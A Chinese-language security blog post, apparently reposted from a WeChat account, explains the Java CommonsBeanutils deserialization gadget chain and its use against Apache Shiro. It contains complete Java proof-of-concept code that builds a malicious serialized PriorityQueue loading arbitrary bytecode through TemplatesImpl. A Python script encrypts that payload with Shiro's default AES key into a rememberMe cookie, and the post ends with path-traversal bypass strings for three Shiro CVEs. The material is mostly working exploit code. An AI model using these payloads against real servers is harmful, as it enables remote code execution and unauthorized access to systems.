前言
这篇将介绍一下 CommonsBeanutils 链,以及没有 commons-collections 的Shiro反序列化利用
Apache Commons Beanutils
Apache Commons Beanutils 提供了对Java普通类对象(也成为 JavaBean) 的一些操作方法。
至于JavaBean
-
有一个public的无参数构造函数。
-
属性可以透过get、set、is(可替代get,用在 布尔型 属性上)方法或遵循特定命名规则的其他方法访问。
-
可序列化
也就是说属性都可通过 访问器(读) 和 更改器(写) 来进行操作,也就是 getter 和 setter
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; } //读
public void setAge(int age) { this.age = age; } //更改
}
commons-beanutils 提供了一个静态方法,PropertyUtils.getProperty ,可以调用任意 JavaBean 的getter方法。
PropertyUtils.getProperty(new Person(),"name");
就可以调用 Person 对象的 name属性的 getter方法。他还支持递归,获取属性,比如
PropertyUtils.getProperty(obj,"b.a")
就可以获取 b属性(对象)下的a属性。不是真正调用具体的getter方法,可以说是一种抽象的方法,比如
PropertyUtils.getProperty(new Person(),"abc")
并不是说真的去调用 Person 类的 abc 属性的 getter,而是调用getAbc(),不管这个类有没有abc属性。
流程分析
也就是说当调用 PropertyUtils.getProperty(o1, property) 时 如果控制了o1,会自动调用 getter 方法,需要寻找一处符合getter格式的利用点,起到承上启下的作用,在 TemplatesImpl 中的 getOutputProperties() 符合条件,调用 newTransformer() 最后利用点最后调用到defineClass实现动态类加载。
向上需要寻找调用 getProperty() 的地方,commons-beanutils 里有一个 BeanComparator 类的 compare方法,以这里为起点,串起了整条链子
那么最开始是从哪个readObject才能调用compare方法?在CC2中知道 PriorityQueue 重写了readObject方法,执行了java.util.Comparator 接口的 compare() 方法,至此链子完整
构造poc
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
//创建TemplateImpl 对象动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","a");
//setFieldValue(obj,"_class",null);
//setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建BeanComparator
Comparator comparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);
//反射设置 Field
Object[] objects = new Object[]{obj,1};
//setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);
serialize(priorityQueue);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}
在序列化的时候报错,在 BeanComparator
跟进,没有找到 ComparableComparator ,这个类来自于 commons.collections ,但是已经进行了删除
所以需要找一个可以替换的,需要满足
实现java.util.Comparator 接口
实现java.io.Serializable 接口
Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。找到了CaseInsensitiveComparator。
可以通过 CASE_INSENSITIVE_ORDER
拿到CaseInsensitiveComparator 类
这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化 BeanComparator。
然后用 BeanComparator 第三种构造方法
最终poc
package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import static java.lang.String.CASE_INSENSITIVE_ORDER;
public class CB {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
//创建TemplateImpl 对象动态加载字节码
byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","a");
//setFieldValue(obj,"_class",null);
//setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建BeanComparator
Comparator comparator = new BeanComparator(null,CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2);
//先设置为正常变量值,后面可以通过setFieldValue修改
priorityQueue.add(1);
priorityQueue.add(1);
//反射设置 Field
Object[] objects = new Object[]{obj,1};
setFieldValue(comparator,"property","outputProperties");
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);
//serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String Filname) throws Exception, ClassNotFoundException {
FileInputStream fis = new FileInputStream(Filname);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
return obj;
}
}
shiro中的利用
在shiro中如果没有CC依赖,可以利用CB链,因为shiro 是依赖于 commons-beanutils 的,去掉pom.xml中的CC依赖,python生成payload
import base64
from Crypto.Cipher import AES
with open(r"ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))
shiro 权限绕过
CVE-2020-1957
/xxx/..;/admin
CVE-2020-11989
/;/admin
/admin/a%25%32%66a
CVE-2020-13933
/admin/%3baaa
原文始发于微信公众号(Arr3stY0u):CommonsBeanutils及shiro中利用